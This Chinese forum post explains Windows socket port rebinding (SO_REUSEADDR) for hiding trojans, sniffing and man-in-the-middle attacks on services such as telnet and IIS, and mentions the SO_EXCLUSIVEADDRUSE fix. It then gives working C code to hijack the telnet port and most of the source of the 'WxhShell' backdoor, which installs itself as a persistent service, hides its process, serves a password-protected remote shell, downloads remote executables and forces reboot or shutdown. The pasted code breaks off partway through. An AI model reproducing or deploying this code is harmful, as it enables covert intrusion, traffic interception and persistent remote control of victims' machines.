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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Gx m"HC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ":OXs9Yg  
TUG3#PSnm*  
  saddr.sin_family = AF_INET; =B 9U  
xQQ6D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0 !Yi.'+  
6o!"$IH4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^IpS 3y  
Ne%X:h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WVZ\4y  
n):VuOjm  
  这意味着什么?意味着可以进行如下的攻击: AOpfByw  
fOfp.`n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FwyPmtBj  
Hogr#Sn2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |c) #zSv  
ec|IT0;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Xn)$Ti ~<  
N}\i!YUD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NJ.kT uk  
=$MV3]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /9sUp} *  
d<]/,BY'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )j](_kvK  
;k>{I8L~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AWw:N6\  
&f[[@EF7  
  #include ipsNiFv:  
  #include /)~M cP3  
  #include bz1\EkLL  
  #include    bkb}M)C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uaiG (O   
  int main() PqfH}d0l  
  { ^pn:SV  
  WORD wVersionRequested; gbvBgOp  
  DWORD ret; t^q/'9Ai&J  
  WSADATA wsaData; il: ""x7^y  
  BOOL val; N3,EF1%  
  SOCKADDR_IN saddr; l! GPOmf9`  
  SOCKADDR_IN scaddr; &kP>qTI^p~  
  int err;  M`bK   
  SOCKET s; kHJjdgV  
  SOCKET sc; GE>&fG  
  int caddsize; ;I9D>shkc  
  HANDLE mt; _$r+*nGDz  
  DWORD tid;   d< y B ~Y  
  wVersionRequested = MAKEWORD( 2, 2 ); fSj^/>  
  err = WSAStartup( wVersionRequested, &wsaData ); $lvpBs  
  if ( err != 0 ) { ~`y6YIJ3  
  printf("error!WSAStartup failed!\n"); W_?S^>?l/  
  return -1; 0'gJSrgNI  
  } JWLQ9U X  
  saddr.sin_family = AF_INET; ;(z0r_p<q  
   c Mq|`CM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iKu5K0x{>I  
{L#Pdj{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L;Nm"[ `  
  saddr.sin_port = htons(23); C3|M\[*fp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x k#/J]j  
  { kc}e},k  
  printf("error!socket failed!\n"); T7[ItLZ  
  return -1; 4]Krx m`8  
  } C@xh$(y  
  val = TRUE; )F:hv[iv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TtHqdKL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o_?YYw-:  
  { 1g *4e  
  printf("error!setsockopt failed!\n"); J 9z\ qTI  
  return -1; 0 ~VniF^  
  } ^*Sb)tu\ W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0 j6/H?OT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^X^4R1V)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zT.qNtU%  
U`xjau+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >XB Lm`a  
  { [-Dx)N  
  ret=GetLastError(); &P rx=L`  
  printf("error!bind failed!\n"); QHK$2xtq|  
  return -1; y:xZ(RgfF  
  } B&cC;Hw  
  listen(s,2); .QW89e,O3  
  while(1) jfk`%C Ek=  
  { cO' \s  
  caddsize = sizeof(scaddr); fxjs"rD5  
  //接受连接请求 %{axoGd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  a(F%M  
  if(sc!=INVALID_SOCKET) A%pcPzG;  
  { XSXS;Fh)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ENygD  
  if(mt==NULL) 1I_(!F{Ho  
  { (Ori].{C.J  
  printf("Thread Creat Failed!\n"); kA fkQy(~  
  break; 5MT$n4zKu  
  } p;g$D=2  
  } l9\ *G;  
  CloseHandle(mt); t 7+ifSrz  
  } b3W@{je  
  closesocket(s); 0m!+gZ@  
  WSACleanup(); ;8H m#p7,  
  return 0; Tw=Jc 's  
  }   %6L{Z*(  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,'[0tl}8K  
  { OQA}+XO  
  SOCKET ss = (SOCKET)lpParam; Fe}Dnv)}Z  
  SOCKET sc; (z\@T`6`  
  unsigned char buf[4096]; %+qD-{&  
  SOCKADDR_IN saddr; }PD? x4  
  long num; h>9GfF3  
  DWORD val; Hr:WE+'  
  DWORD ret; LNtBYdB`pK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iCnKQG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ng2qu!F7  
  saddr.sin_family = AF_INET; \IIR2Xf,K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I!~5.  
  saddr.sin_port = htons(23); '`I&g8I\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eVS6#R]'m  
  { h,45-#+  
  printf("error!socket failed!\n"); ,,OO2EgZ`  
  return -1; xM'bb5  
  } b 'jZ4{+W  
  val = 100; 8A#qbBD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |#>\GU=!  
  { u?i_N0H  
  ret = GetLastError(); h@&& .S`B  
  return -1; h${+{1](6  
  } 7E 6gXf.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x=(Q$Hl5  
  { /^SIJS@^`>  
  ret = GetLastError(); To.CY^M  
  return -1; CNwIM6t  
  } ;N#d'E\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qS:hv&~  
  { -W<x|ph U  
  printf("error!socket connect failed!\n"); Yxp.`  
  closesocket(sc); =Q>'?w>  
  closesocket(ss); x4Q*~,n  
  return -1; %We~k'2f  
  } ci a'h_w  
  while(1) nkUSd}a`r  
  { EBc_RpC/Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V4PI~"4q#1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n=qN@u;Fi#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g1UP/hNJ\8  
  num = recv(ss,buf,4096,0); e0Zwhz,  
  if(num>0) @9Rg g9r  
  send(sc,buf,num,0); }rRf4te  
  else if(num==0) @i U@JE`C  
  break; %ukFn &-2@  
  num = recv(sc,buf,4096,0); n]S DpptM  
  if(num>0) DryN}EMOKD  
  send(ss,buf,num,0); MEf`&<t  
  else if(num==0) M{w[hV  
  break; >+ZBQ]~  
  } FxeDjAP  
  closesocket(ss); [uqe|< :  
  closesocket(sc); Q8OA{EUtq  
  return 0 ; >$Sc}a3  
  } :sDE 'o  
2:3-mWE  
TrD2:N}dI  
========================================================== Er509zZ,[  
1j"_@?H[  
下边附上一个代码,,WXhSHELL &3~lZa;D  
B)>r~v]  
========================================================== cAnL,?_v  
[;~:',vHQf  
#include "stdafx.h" qz[qjGdHg  
YW9r'{(D(I  
#include <stdio.h> )IQ5Qu  
#include <string.h> bS7rG$n [  
#include <windows.h> >ka*-8?  
#include <winsock2.h> ~QzUQYG*  
#include <winsvc.h> qRi;[`  
#include <urlmon.h> jd ]$U_U(  
J'{69<`Dl  
#pragma comment (lib, "Ws2_32.lib") 0se0AcrW  
#pragma comment (lib, "urlmon.lib") x \0( l5>  
A8tzIh8  
#define MAX_USER   100 // 最大客户端连接数 ?'SHt9b3|  
#define BUF_SOCK   200 // sock buffer NX.%Rj*  
#define KEY_BUFF   255 // 输入 buffer EC#4"bU`'2  
,6T F]6:  
#define REBOOT     0   // 重启 (OS -v~{r@  
#define SHUTDOWN   1   // 关机 /6S% h-#\  
su:~X d  
#define DEF_PORT   5000 // 监听端口 WRIOjQ:  
YNHQbsZUI,  
#define REG_LEN     16   // 注册表键长度 dZ^(e0& :H  
#define SVC_LEN     80   // NT服务名长度 7uy?%5  
f+3ico]f@  
// 从dll定义API 9)2 kjBeb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1V ?)T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bT93R8yp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' b?' u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "MS}@NLUW  
y-C=_v_X  
// wxhshell配置信息 o9GtS$ O\  
struct WSCFG { xAlyik  
  int ws_port;         // 监听端口 cl2+,!:  
  char ws_passstr[REG_LEN]; // 口令 TgC8EcLr  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'DLgOUvh  
  char ws_regname[REG_LEN]; // 注册表键名  j`H5S  
  char ws_svcname[REG_LEN]; // 服务名 e *9c33  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (p6$Vgdt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [k<"@[8)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;&iZ {  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R{6~7<m.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4S9hz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _T\/kJ)Q\  
Q5K<ECoPk  
}; "Sx}7?8AB  
oY NIJXln  
// default Wxhshell configuration }253Q!f  
struct WSCFG wscfg={DEF_PORT, xvpCOoGsz  
    "xuhuanlingzhe", PeU>h2t  
    1, %5[,U)X"  
    "Wxhshell", yLFZo"r  
    "Wxhshell", $RAS pM  
            "WxhShell Service", Nj5V" c  
    "Wrsky Windows CmdShell Service",  <xn96|$  
    "Please Input Your Password: ", 8,VX%CS#q  
  1, xJcM1>cT>  
  "http://www.wrsky.com/wxhshell.exe", yiT)m]E d  
  "Wxhshell.exe" yW@0Q:  
    }; 5Yxs_t4  
O4c[,Uq8~  
// 消息定义模块 85{2TXQ^%=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nd;)V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \+9~\eeXb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ire+r "am  
char *msg_ws_ext="\n\rExit."; xbTvv>'U  
char *msg_ws_end="\n\rQuit."; An.Qi=Cv  
char *msg_ws_boot="\n\rReboot..."; 6_rgj{L  
char *msg_ws_poff="\n\rShutdown..."; cu |S|]g  
char *msg_ws_down="\n\rSave to "; EdH;P \c  
xY_<D+ OV  
char *msg_ws_err="\n\rErr!"; $4Vpl  
char *msg_ws_ok="\n\rOK!"; [<0\v<{`L  
\N|ma P  
char ExeFile[MAX_PATH]; # .j[iN :+  
int nUser = 0; '!V5 #J  
HANDLE handles[MAX_USER]; (7zdbJX  
int OsIsNt; j Z6]G{  
+KcD Y1[  
SERVICE_STATUS       serviceStatus; {.HFB:<!}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; - WEEnwZ  
]QqT.z%B  
// 函数声明 __mnz``/Y  
int Install(void); dRhsnT+KX  
int Uninstall(void); *X%dg$VcV  
int DownloadFile(char *sURL, SOCKET wsh); 9y$"[d27;+  
int Boot(int flag); AcoU.tpP  
void HideProc(void); iHYvH   
int GetOsVer(void); |Q|vCWel{  
int Wxhshell(SOCKET wsl); K|a^<| S  
void TalkWithClient(void *cs); Bu{1^g:  
int CmdShell(SOCKET sock); X:/Y^Xu  
int StartFromService(void); 7^hwRZJ{  
int StartWxhshell(LPSTR lpCmdLine); ~#]$YoQ&O  
%C1*`"Jb&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZH s' #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); th4yuDPuA  
^.Xom~  
// 数据结构和表定义 PV(TDb:0  
SERVICE_TABLE_ENTRY DispatchTable[] = 'F .tOD  
{ qX_( M2oLU  
{wscfg.ws_svcname, NTServiceMain}, $D%[}[2  
{NULL, NULL} ,suC`)R  
}; s*3p*zf  
 MYk%p'  
// 自我安装 GEd JB=  
int Install(void) e/J|wM9Ak  
{ h%=>iQ%enc  
  char svExeFile[MAX_PATH]; Shag4-*@hi  
  HKEY key; BKJwM'~  
  strcpy(svExeFile,ExeFile); ^_0l(ke  
xRiWg/Z~  
// 如果是win9x系统,修改注册表设为自启动 tqMOh R  
if(!OsIsNt) { 0*4h}t9j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Vw;y+F}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WU:r:m+ >  
  RegCloseKey(key); ;zpSyyp@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 13f@Ox$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iC`mj  
  RegCloseKey(key); s9\HjK*+  
  return 0; jb'A Os  
    } No(p:Snbo  
  } p]^?4  
} B098/`r  
else { ;*AK eI2  
D,( "3zx  
// 如果是NT以上系统,安装为系统服务 s0/[mAY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ojwhcb^  
if (schSCManager!=0) FVo_=O)  
{ vi8)U]6  
  SC_HANDLE schService = CreateService /l.ox.4z#  
  ( 4r+s" |  
  schSCManager, I}!Er V  
  wscfg.ws_svcname, E4;@P']`  
  wscfg.ws_svcdisp, {zmh0c; |  
  SERVICE_ALL_ACCESS, pI]tv@>:f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w1q`  
  SERVICE_AUTO_START, e^ ZxU/e  
  SERVICE_ERROR_NORMAL, >`S $(f  
  svExeFile, ~L55l2u7  
  NULL, <5fb, @YN  
  NULL, MzP q(`W  
  NULL, )_-EeH  
  NULL, Yg<4}l."  
  NULL mAZfo53  
  ); P-25]-  
  if (schService!=0) y$h.k"x`  
  { +T,Yf/^Fn  
  CloseServiceHandle(schService); .kT}E5  
  CloseServiceHandle(schSCManager); n72+X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x./l27}6  
  strcat(svExeFile,wscfg.ws_svcname); J =j6rD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !$1'q~sO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6!Z>^'6  
  RegCloseKey(key); p@Va`:RDW  
  return 0; #J_+ SL[  
    } L2$`S'UW  
  } %7vjYvo>  
  CloseServiceHandle(schSCManager); Jp#Onl+d6  
} J6s@}@R1  
} ZPO+ #,  
wx]r{  
return 1; [.[|rnil  
} X 8#Uk}/  
f?P>P23  
// 自我卸载 67]kT%0  
int Uninstall(void) U1,f$McZs  
{ ("!P_Q#  
  HKEY key; Fr{}~fRW<  
7{fOo%(7  
if(!OsIsNt) { KO''B or  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J}M_Ka  
  RegDeleteValue(key,wscfg.ws_regname); -rXo}I,VI  
  RegCloseKey(key); t_\;G~O9-M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R{3vPG  
  RegDeleteValue(key,wscfg.ws_regname); 6{8dv9tK  
  RegCloseKey(key); Z+EN]02|  
  return 0; .r4M]1Of  
  } 8+=-!": ]  
} QH]G>+LI5  
} wSGW_{;-  
else { W, YYL(L  
%'`L+y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xpp%j  
if (schSCManager!=0) Mb +  
{ q8-*3K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \fjr`t]  
  if (schService!=0) P"k`h=>!4  
  { x } X1 O)  
  if(DeleteService(schService)!=0) { VQe@H8>3  
  CloseServiceHandle(schService); 5U[bn=n  
  CloseServiceHandle(schSCManager); 7~H.\4HB  
  return 0; YuVg/ '=  
  } ^.:dT?@R  
  CloseServiceHandle(schService); 8-clL\bm  
  } Uk0Fo(HY  
  CloseServiceHandle(schSCManager); _ W +  
} {%PgR){qR  
} {EL J!o[  
|tua*zEsS  
return 1; 2z+-vT%  
} \7elqX`.yY  
\[MQJX,dn  
// 从指定url下载文件 g$a 5  
int DownloadFile(char *sURL, SOCKET wsh) '|~L9t  
{ YVT\@+C'  
  HRESULT hr; p*l]I *x'<  
char seps[]= "/"; Ph Ep3o&"  
char *token; <>I4wqqb  
char *file; k}tT l 2  
char myURL[MAX_PATH]; "H"4]m1Wc  
char myFILE[MAX_PATH]; YgfQ{3^I  
iLR^V!  
strcpy(myURL,sURL); PEIf)**0N  
  token=strtok(myURL,seps); ,lUr[xzV  
  while(token!=NULL) Sn~h[s_(  
  { sY*iRq  
    file=token; GDBxciv  
  token=strtok(NULL,seps); /~nPPC  
  } XI8rU)q  
+w(>UBy-  
GetCurrentDirectory(MAX_PATH,myFILE); n)6mfoe  
strcat(myFILE, "\\"); }+3v5Nz;  
strcat(myFILE, file); KDUa0$"  
  send(wsh,myFILE,strlen(myFILE),0); ,'>,N/JA  
send(wsh,"...",3,0); stcbM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )cUFb:D*"  
  if(hr==S_OK) =Ti[Q5SZ  
return 0; !hS~\+E  
else ZL{\M|@jz  
return 1; JS{trqc1d  
10`]&v]T  
} {L9WeosQ  
'(o*l  
// 系统电源模块 1Ka,u20  
int Boot(int flag) yL.Z{wd  
{ ),53(=/hl  
  HANDLE hToken; D @bnm s  
  TOKEN_PRIVILEGES tkp; i *9Bu;  
i{.%4tA4  
  if(OsIsNt) { Qe,aIh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6'YsSde".  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NKJ+DD:'  
    tkp.PrivilegeCount = 1; a ]~Yi.H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  p;k7\7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <+iL@'SgF  
if(flag==REBOOT) { c^a D r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |y}iOI  
  return 0; $CgR~D2G  
} i<ug("/  
else { <f+ 9wuZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1NI%J B  
  return 0; hNWZ1r~_  
} $V?h68[c  
  } 6Rcl HU  
  else { pjVF^gv,*  
if(flag==REBOOT) { ICxj$b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,Q>Rt V  
  return 0; E Qn4+  
} [8OQ5}do/  
else { 3|qT.QR`Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hCvK2Xu   
  return 0; Yj-JB  
} 5:W 5@e{  
} `N.^+Mvx-  
I C?bqC+  
return 1; Rz\:)<G  
} {~u#.(  
m?4L>'  
// win9x进程隐藏模块 brXLx +H8  
void HideProc(void) |'?./  
{ F\lnG  
Rx,Qw> #  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /yhGc}h  
  if ( hKernel != NULL ) +T|M U  
  { >3\($<YDZM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vC1D}=Fp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pY T^Ug  
    FreeLibrary(hKernel); C 7e  
  } |:jka  
X4z6#S58  
return; XoZPz  
} GiH<6<=  
5&QDZnsl  
// 获取操作系统版本 (^)" qs B  
int GetOsVer(void) B<}0r 4T}  
{ ~8#Ku,vEy  
  OSVERSIONINFO winfo; _/(7:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wEu"X  
  GetVersionEx(&winfo); ML9nfB^z!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _5%NG 3c  
  return 1; F4T}HY>nZ  
  else w4UaWT1J  
  return 0; U|2*.''+Q  
} %; 0l1X  
I]dt1iXu_{  
// 客户端句柄模块  I0v$3BQ4  
int Wxhshell(SOCKET wsl) iT;~0XU7F  
{ : U:>X6f  
  SOCKET wsh; C>bd HB7  
  struct sockaddr_in client; tn@MOOP l  
  DWORD myID; ^qgOgu  
p(J,fus  
  while(nUser<MAX_USER) vsDR@Y}k  
{ pD )$O}  
  int nSize=sizeof(client); ESQgN+llj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V_.n G;  
  if(wsh==INVALID_SOCKET) return 1; AR}q<k6E  
/-_<RQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D6wg^ 'Q:  
if(handles[nUser]==0) {TV6eV  
  closesocket(wsh); s2'] "wM  
else &t0toEj  
  nUser++; } eL*gy  
  } D6M ktE)'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .&R j2d  
}% m:^*@$9  
  return 0; gOnVN6  
} L4wKG&  
%?`TyVt&0  
// 关闭 socket `tZ-8f  
void CloseIt(SOCKET wsh) v\;hI5WY  
{ h4\j=Np  
closesocket(wsh); O F|3y~z  
nUser--; #^Io9dA h  
ExitThread(0); L(Ffa(i  
} k%[pZ 5.!  
|` +G7?)Y  
// 客户端请求句柄 7G^`'oZ  
void TalkWithClient(void *cs) 5*he  
{ ecjjCt2S  
9N?BWv }  
  SOCKET wsh=(SOCKET)cs; '=^$ ;3Z  
  char pwd[SVC_LEN]; l'#P:eW  
  char cmd[KEY_BUFF]; {8YNmxF#  
char chr[1]; m:{ws~   
int i,j; @}Y,A~   
<+%#xi/_  
  while (nUser < MAX_USER) { k- ?:0  
Fo0dz  
if(wscfg.ws_passstr) { /6$8djw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `!t+sX- n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =@UgCu>=  
  //ZeroMemory(pwd,KEY_BUFF); O_n) 2t(c?  
      i=0; acXB vs  
  while(i<SVC_LEN) { No1*~EQ  
MK*WStY  
  // 设置超时 ^71!.b%  
  fd_set FdRead; lN<,<'&^.  
  struct timeval TimeOut; 4kZ9]5#.  
  FD_ZERO(&FdRead); P%-@AmO^_  
  FD_SET(wsh,&FdRead); )w.\xA~|  
  TimeOut.tv_sec=8; k~<b~VcU  
  TimeOut.tv_usec=0; /M.@dW7 w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p%_m!   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ul41R Ny)  
f-!A4eKe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Bd13%>)  
  pwd=chr[0]; ?uq7K"B  
  if(chr[0]==0xd || chr[0]==0xa) { Wg3\hv29  
  pwd=0; ~S='~ g)  
  break; 6tKm'`^z4  
  } ~jqG  
  i++; svBT~P0x  
    } I`O)I&KH  
~MOab e  
  // 如果是非法用户,关闭 socket R p!R&U/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e!:/enQo  
} pu"`*NL  
3O W) %  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (zm5 4 Vm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y].vll8R  
AhjUFz  
while(1) { r-ldqj  
/%fa_+,|-  
  ZeroMemory(cmd,KEY_BUFF); 0%9Nf!j  
iyRB}[y  
      // 自动支持客户端 telnet标准   .Y?/J,Ch  
  j=0; 6@2 S*\&  
  while(j<KEY_BUFF) { .7!n%Ks  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Z(F-B +j  
  cmd[j]=chr[0]; 1 >nl ]yO  
  if(chr[0]==0xa || chr[0]==0xd) { gx*rxid  
  cmd[j]=0; x@@U&.1_A  
  break; LHt{y3l]  
  } ]Gm $0uS  
  j++; ~sI$xX!  
    } {u1Rc/Lw  
GCf3'u  
  // 下载文件 s?.A $^t  
  if(strstr(cmd,"http://")) { 6+:Tv2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X C jYm  
  if(DownloadFile(cmd,wsh)) HhmC+3w.7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &r{.b#7\/A  
  else *acN/Ca1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Oc[j{6q  
  } 1lxsj{>U  
  else { tPT\uD#t  
6Q&*V7EO  
    switch(cmd[0]) { Ew4>+o!  
  `o9vE0^T<  
  // 帮助 W.xlS ZEB  
  case '?': { F^ m`j6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pgy&/-u  
    break; MZ(TST"  
  } q+MV@8w  
  // 安装  M>mk=-l  
  case 'i': { v}=3  
    if(Install()) reyN5n~4U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zS@"ITy  
    else @$5GxIw<l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e$k ]z HlQ  
    break; >bf29tr  
    } 0L34)W  
  // 卸载 -XVC,.Ly  
  case 'r': { hSgfp  
    if(Uninstall()) ZWC-<QO"<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6,"fH{Bd  
    else }),tk?\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AxaabS$\  
    break; Pez 7HKW:  
    } T K)Kq  
  // 显示 wxhshell 所在路径 iY=M67V  
  case 'p': { lWv3c!E`  
    char svExeFile[MAX_PATH]; _]"5]c&*3  
    strcpy(svExeFile,"\n\r"); 'L*nC T;  
      strcat(svExeFile,ExeFile); O IF0X!  
        send(wsh,svExeFile,strlen(svExeFile),0); &&0,;r, -)  
    break; FuOP+r!H  
    } Lx-ofN\  
  // 重启 Lp; {&=PIo  
  case 'b': { ?|8QL9Q"|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dOm#NSJVd  
    if(Boot(REBOOT)) f`5e0;zm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uzO%+B!  
    else { iOB]72dh  
    closesocket(wsh); }+[H~8)5  
    ExitThread(0); y.AF90Q>)  
    } UFxQ-GV4  
    break; m6a q_u{W  
    } +\FTR  
  // 关机 5!ll #/ {`  
  case 'd': { U!:Q|':=h  
